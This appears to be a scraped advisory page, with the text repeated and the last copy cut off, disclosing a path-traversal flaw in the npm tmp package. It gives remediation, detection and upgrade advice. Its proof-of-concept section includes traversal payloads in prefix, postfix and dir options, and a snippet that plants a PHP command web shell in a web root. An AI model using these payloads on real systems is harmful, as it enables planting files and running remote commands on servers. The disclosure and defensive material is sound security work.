### Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. ### Details **Root Cause:** The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. **Technical Flow:** 1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>` 2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)` 3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape 4. **File Creation:** File created at the resulting (potentially escaped) path **Vulnerable Pattern:** ```javascript // In tmp package internals const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir ``` **Path Traversal Mechanics:** - **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure - **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely - **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text - **Cross-platform impact:** Works on Windows (`..\\`), Unix (`../`), and mixed path systems **Key Vulnerability Points:** - No input validation on `prefix`, `postfix`, or `dir` parameters - Direct use of user input in path construction - Reliance on `path.join()` normalization without containment checks - Missing post-construction validation that final path remains within intended directory ### PoC **Basic Path Traversal via prefix:** ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); }); ``` **Directory Escape via postfix:** ```javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); ``` **Absolute Path Bypass via dir:** ```javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); ``` **Advanced Multi-Vector Attack:** ```javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); ``` **Real-World Attack Simulation:** ```javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ``` ### Impact **Arbitrary File Creation:** - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability **Attack Scenarios:** **1. Web Application Configuration Poisoning:** - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart **2. Cache Poisoning:** - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users **3. Build Pipeline Compromise:** - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production **4. Container Escape Attempt:** - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas **5. Multi-Tenant Service Bypass:** - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation **Business Impact:** - **Data Integrity:** Unauthorized file placement can corrupt application state - **Service Disruption:** Files in wrong locations may break application functionality - **Security Bypass:** Escape temporary isolation boundaries - **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations ### Affected Products - **Ecosystem:** npm - **Package name:** tmp - **Repository:** github.com/raszi/node-tmp - **Affected versions:** All versions with vulnerable path construction logic - **Patched versions:** None currently available **Component Impact:** - `tmp.file()` function - vulnerable to prefix/postfix/dir traversal - `tmp.dir()` function - vulnerable to same parameter manipulation - `tmp.tmpName()` function - if using affected path construction **Severity:** High **CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) **CWE Classification:** - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ### Remediation **Input Validation and Sanitization:** 1. **Sanitize prefix/postfix:** ```javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } ``` 2. **Validate dir parameter:** ```javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } ``` 3. **Post-construction path validation:** ```javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } ``` **Secure Implementation Pattern:** ```javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } ``` ### Workarounds **For Application Developers:** 1. **Input Sanitization:** ```javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } ``` 2. **Path Validation:** ```javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } ``` 3. **Restricted Usage:** ```javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); ``` **For Security Teams:** 1. **Code Review Patterns:** ```bash # Search for dangerous tmp usage grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" . grep -r "tmp\.dir.*opts\|tmp\.file.*opts" . ``` 2. **Runtime Monitoring:** ```javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; ``` ### Detection and Monitoring **Static Analysis:** - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories **Runtime Detection:** ```javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } ``` **File System Monitoring:** ```bash # Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then echo "Unexpected file creation: $file" fi done ``` ### Acknowledgements **Reported by**: Mapta / BugBunny_ai
### Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. ### Details **Root Cause:** The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. **Technical Flow:** 1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>` 2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)` 3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape 4. **File Creation:** File created at the resulting (potentially escaped) path **Vulnerable Pattern:** ```javascript // In tmp package internals const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir ``` **Path Traversal Mechanics:** - **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure - **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely - **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text - **Cross-platform impact:** Works on Windows (`..\\`), Unix (`../`), and mixed path systems **Key Vulnerability Points:** - No input validation on `prefix`, `postfix`, or `dir` parameters - Direct use of user input in path construction - Reliance on `path.join()` normalization without containment checks - Missing post-construction validation that final path remains within intended directory ### PoC **Basic Path Traversal via prefix:** ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); }); ``` **Directory Escape via postfix:** ```javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); ``` **Absolute Path Bypass via dir:** ```javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); ``` **Advanced Multi-Vector Attack:** ```javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); ``` **Real-World Attack Simulation:** ```javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ``` ### Impact **Arbitrary File Creation:** - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability **Attack Scenarios:** **1. Web Application Configuration Poisoning:** - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart **2. Cache Poisoning:** - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users **3. Build Pipeline Compromise:** - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production **4. Container Escape Attempt:** - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas **5. Multi-Tenant Service Bypass:** - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation **Business Impact:** - **Data Integrity:** Unauthorized file placement can corrupt application state - **Service Disruption:** Files in wrong locations may break application functionality - **Security Bypass:** Escape temporary isolation boundaries - **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations ### Affected Products - **Ecosystem:** npm - **Package name:** tmp - **Repository:** github.com/raszi/node-tmp - **Affected versions:** All versions with vulnerable path construction logic - **Patched versions:** None currently available **Component Impact:** - `tmp.file()` function - vulnerable to prefix/postfix/dir traversal - `tmp.dir()` function - vulnerable to same parameter manipulation - `tmp.tmpName()` function - if using affected path construction **Severity:** High **CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) **CWE Classification:** - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ### Remediation **Input Validation and Sanitization:** 1. **Sanitize prefix/postfix:** ```javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } ``` 2. **Validate dir parameter:** ```javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } ``` 3. **Post-construction path validation:** ```javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } ``` **Secure Implementation Pattern:** ```javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } ``` ### Workarounds **For Application Developers:** 1. **Input Sanitization:** ```javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } ``` 2. **Path Validation:** ```javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } ``` 3. **Restricted Usage:** ```javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); ``` **For Security Teams:** 1. **Code Review Patterns:** ```bash # Search for dangerous tmp usage grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" . grep -r "tmp\.dir.*opts\|tmp\.file.*opts" . ``` 2. **Runtime Monitoring:** ```javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; ``` ### Detection and Monitoring **Static Analysis:** - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories **Runtime Detection:** ```javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } ``` **File System Monitoring:** ```bash # Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then echo "Unexpected file creation: $file" fi done ``` ### Acknowledgements **Reported by**: Mapta / BugBunny_ai
Update tmp to 0.2.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scantmp has Path Traversal via unsanitized prefix/postfix that enables directory escape affects tmp (npm). Severity is high. ### Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. ### Details **Root Cause:** The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. **Technical Flow:** 1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>` 2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)` 3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape 4. **File Creation:** File created at the resulting (potentially escaped) path **Vulnerable Pattern:** ```javascript // In tmp package internals const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir ``` **Path Traversal Mechanics:** - **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure - **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely - **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text - **Cross-platform impact:** Works on Windows (`..\\`), Unix (`../`), and mixed path systems **Key Vulnerability Points:** - No input validation on `prefix`, `postfix`, or `dir` parameters - Direct use of user input in path construction - Reliance on `path.join()` normalization without containment checks - Missing post-construction validation that final path remains within intended directory ### PoC **Basic Path Traversal via prefix:** ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); }); ``` **Directory Escape via postfix:** ```javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); ``` **Absolute Path Bypass via dir:** ```javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); ``` **Advanced Multi-Vector Attack:** ```javascript const maliciousOpts = { tmpdir: '/app/safe-tmp', dir: '../../../tmp', // Escape base prefix: '../sensitive-area/', // Further traversal postfix: 'malicious.config' // Controlled filename }; tmp.file(maliciousOpts, (err, filepath, fd, cleanup) => { // Results in file creation at: /tmp/sensitive-area/malicious.config console.log('Final malicious path:', filepath); cleanup(); }); ``` **Real-World Attack Simulation:** ```javascript // Simulate web API that accepts user file prefix function createUserTempFile(userPrefix, content) { return new Promise((resolve, reject) => { tmp.file({ prefix: userPrefix }, (err, path, fd, cleanup) => { if (err) return reject(err); fs.writeSync(fd, content); console.log('User file created at:', path); resolve({ path, cleanup }); }); }); } // Attacker input const attackerPrefix = '../../../var/www/html/backdoor'; createUserTempFile(attackerPrefix, '<?php system($_GET["cmd"]); ?>'); // Creates PHP backdoor in web root instead of temp directory ``` ### Impact **Arbitrary File Creation:** - Files created outside intended temporary directories - Attacker control over file placement location - Potential to overwrite existing files (depending on creation flags) - Cross-platform exploitation capability **Attack Scenarios:** **1. Web Application Configuration Poisoning:** - User uploads file with malicious prefix/postfix - tmp creates "temporary" file in application configuration directory - Malicious configuration loaded on next application restart **2. Cache Poisoning:** - Application caches user content using tmp - Attacker escapes to cache directory of different user/tenant - Poisoned cache serves malicious content to other users **3. Build Pipeline Compromise:** - CI/CD system processes user PRs with tmp usage - Malicious prefix escapes to build output directories - Compromised build artifacts deployed to production **4. Container Escape Attempt:** - Containerized application uses tmp with user input - Attacker attempts to escape container temp restrictions - Files created in host-mapped volumes or sensitive container areas **5. Multi-Tenant Service Bypass:** - SaaS platform isolates tenants using separate tmp directories - Tenant A escapes their tmp space to tenant B's area - Cross-tenant data access and potential privilege escalation **Business Impact:** - **Data Integrity:** Unauthorized file placement can corrupt application state - **Service Disruption:** Files in wrong locations may break application functionality - **Security Bypass:** Escape temporary isolation boundaries - **Compliance Violations:** Files containing sensitive data placed in uncontrolled locations ### Affected Products - **Ecosystem:** npm - **Package name:** tmp - **Repository:** github.com/raszi/node-tmp - **Affected versions:** All versions with vulnerable path construction logic - **Patched versions:** None currently available **Component Impact:** - `tmp.file()` function - vulnerable to prefix/postfix/dir traversal - `tmp.dir()` function - vulnerable to same parameter manipulation - `tmp.tmpName()` function - if using affected path construction **Severity:** High **CVSS v3.1:** 8.1 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L) **CWE Classification:** - CWE-22: Improper Limitation of a Pathname to a Restricted Directory (Path Traversal) ### Remediation **Input Validation and Sanitization:** 1. **Sanitize prefix/postfix:** ```javascript function sanitizePrefix(prefix) { if (!prefix) return ''; // Remove path separators and traversal sequences return path.basename(String(prefix)).replace(/[\.\/\\]/g, '-'); } function sanitizePostfix(postfix) { if (!postfix) return ''; // Allow only safe characters return String(postfix).replace(/[^A-Za-z0-9._-]/g, ''); } ``` 2. **Validate dir parameter:** ```javascript function validateDir(dir, baseDir) { if (!dir) return ''; // Reject absolute paths if (path.isAbsolute(dir)) { throw new Error('Absolute paths not allowed for dir option'); } // Resolve and check containment const resolved = path.resolve(baseDir, dir); const relative = path.relative(baseDir, resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Dir option escapes base directory'); } return dir; } ``` 3. **Post-construction path validation:** ```javascript function validateFinalPath(finalPath, baseDir) { const resolved = path.resolve(finalPath); const relative = path.relative(path.resolve(baseDir), resolved); if (relative.startsWith('..') || path.isAbsolute(relative)) { throw new Error('Generated path escapes temporary directory'); } return resolved; } ``` **Secure Implementation Pattern:** ```javascript function createTempFile(options) { const opts = { ...options }; // Sanitize inputs opts.prefix = sanitizePrefix(opts.prefix); opts.postfix = sanitizePostfix(opts.postfix); opts.dir = validateDir(opts.dir, opts.tmpdir); // Create with sanitized options return tmp.file(opts, (err, path, fd, cleanup) => { if (err) return callback(err); // Validate final path try { validateFinalPath(path, opts.tmpdir); } catch (validationErr) { cleanup(); return callback(validationErr); } callback(null, path, fd, cleanup); }); } ``` ### Workarounds **For Application Developers:** 1. **Input Sanitization:** ```javascript // Sanitize before passing to tmp function safeTmpFile(userOptions) { const safeOpts = { ...userOptions, prefix: userOptions.prefix ? path.basename(userOptions.prefix) : undefined, postfix: userOptions.postfix ? userOptions.postfix.replace(/[^A-Za-z0-9._-]/g, '') : undefined, dir: undefined // Don't allow user-controlled dir }; return tmp.file(safeOpts); } ``` 2. **Path Validation:** ```javascript function validateTmpPath(tmpPath, expectedBase) { const relativePath = path.relative(expectedBase, tmpPath); if (relativePath.startsWith('..') || path.isAbsolute(relativePath)) { throw new Error('Temporary file path escaped base directory'); } return tmpPath; } ``` 3. **Restricted Usage:** ```javascript // Only use tmp with known-safe, literal values tmp.file({ prefix: 'app-temp-', postfix: '.tmp' }, callback); // Never: tmp.file({ prefix: userInput }, callback); ``` **For Security Teams:** 1. **Code Review Patterns:** ```bash # Search for dangerous tmp usage grep -r "tmp\.file.*prefix.*req\|tmp\.file.*postfix.*req" . grep -r "tmp\.dir.*opts\|tmp\.file.*opts" . ``` 2. **Runtime Monitoring:** ```javascript // Monitor for files created outside expected temp areas const originalFile = tmp.file; tmp.file = function(options, callback) { return originalFile(options, (err, path, fd, cleanup) => { if (!err && options.tmpdir) { const relative = require('path').relative(options.tmpdir, path); if (relative.startsWith('..')) { console.warn('Path traversal detected:', path); } } return callback(err, path, fd, cleanup); }); }; ``` ### Detection and Monitoring **Static Analysis:** - Scan for tmp usage with user-controlled input - Identify unsanitized parameter passing to tmp functions - Review file creation patterns in temporary directories **Runtime Detection:** ```javascript // Log suspicious tmp operations function monitorTmpUsage() { const originalTmpFile = require('tmp').file; require('tmp').file = function(options = {}, callback) { // Check for suspicious patterns const suspicious = [ options.prefix && options.prefix.includes('..'), options.postfix && options.postfix.includes('..'), options.dir && path.isAbsolute(options.dir) ].some(Boolean); if (suspicious) { console.warn('Suspicious tmp usage detected:', options); } return originalTmpFile.call(this, options, callback); }; } ``` **File System Monitoring:** ```bash # Monitor file creation outside expected temp directories inotifywait -m -r --format '%w%f %e' /tmp /var/tmp | while read file event; do if [[ "$event" == *"CREATE"* && "$file" != /tmp/tmp-* ]]; then echo "Unexpected file creation: $file" fi done ``` ### Acknowledgements **Reported by**: Mapta / BugBunny_ai
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| tmpnpm | <0.2.6 | 0.2.6 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate tmp to 0.2.6 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scantmp has Path Traversal via unsanitized prefix/postfix that enables directory escape affects tmp (npm). Severity is high. ### Summary The tmp npm package contains a path traversal vulnerability that allows escaping the intended temporary directory when untrusted data flows into the `prefix`, `postfix`, or `dir` options. By embedding traversal sequences (e.g., `../`) or path separators in these parameters, attackers can cause files to be created outside the configured temporary base directory at attacker-controlled locations with the privileges of the running process. This vulnerability affects applications that pass user-controlled data to tmp's file/directory creation functions without proper input sanitization. ### Details **Root Cause:** The vulnerability exists in tmp's path construction logic where user-supplied options are directly concatenated into file paths without sanitization or validation. **Technical Flow:** 1. **Filename Construction:** tmp builds filenames as `<prefix>-<pid>-<random>-<postfix>` 2. **Path Composition:** Final path computed as `path.join(tmpDir, opts.dir, name)` 3. **Path Normalization:** Node.js `path.join()` normalizes traversal sequences, allowing escape 4. **File Creation:** File created at the resulting (potentially escaped) path **Vulnerable Pattern:** ```javascript // In tmp package internals const name = `${opts.prefix || ''}-${process.pid}-${randomString}-${opts.postfix || ''}`; const finalPath = path.join(tmpDir, opts.dir || '', name); // No validation that finalPath remains within tmpDir ``` **Path Traversal Mechanics:** - **prefix/postfix traversal:** `../../../evil` in prefix escapes directory structure - **Absolute path bypass:** If `opts.dir` is absolute, `path.join()` ignores `tmpDir` completely - **Normalization exploitation:** `path.join()` resolves `../` sequences regardless of surrounding text - **Cross-platform impact:** Works on Windows (`..\\`), Unix (`../`), and mixed path systems **Key Vulnerability Points:** - No input validation on `prefix`, `postfix`, or `dir` parameters - Direct use of user input in path construction - Reliance on `path.join()` normalization without containment checks - Missing post-construction validation that final path remains within intended directory ### PoC **Basic Path Traversal via prefix:** ```javascript const tmp = require('tmp'); const path = require('path'); const fs = require('fs'); // Create a controlled base directory const baseDir = fs.mkdtempSync('/tmp/safe-base-'); console.log('Base directory:', baseDir); // Escape via prefix tmp.file({ tmpdir: baseDir, prefix: '../escaped' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Created file:', filepath); console.log('Relative to base:', path.relative(baseDir, filepath)); // Output shows: ../escaped-<pid>-<random> cleanup(); }); ``` **Directory Escape via postfix:** ```javascript tmp.file({ tmpdir: baseDir, postfix: '/../../pwned.txt' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Escaped file:', filepath); console.log('Escaped outside base:', !filepath.startsWith(baseDir)); cleanup(); }); ``` **Absolute Path Bypass via dir:** ```javascript tmp.file({ tmpdir: '/safe/tmp/dir', dir: '/tmp/evil-location', prefix: 'bypassed' }, (err, filepath, fd, cleanup) => { if (err) throw err; console.log('Bypassed to:', filepath); // File created in /tmp/evil-location instead of /safe/tmp/dir cleanup(); }); ``` **Advanced 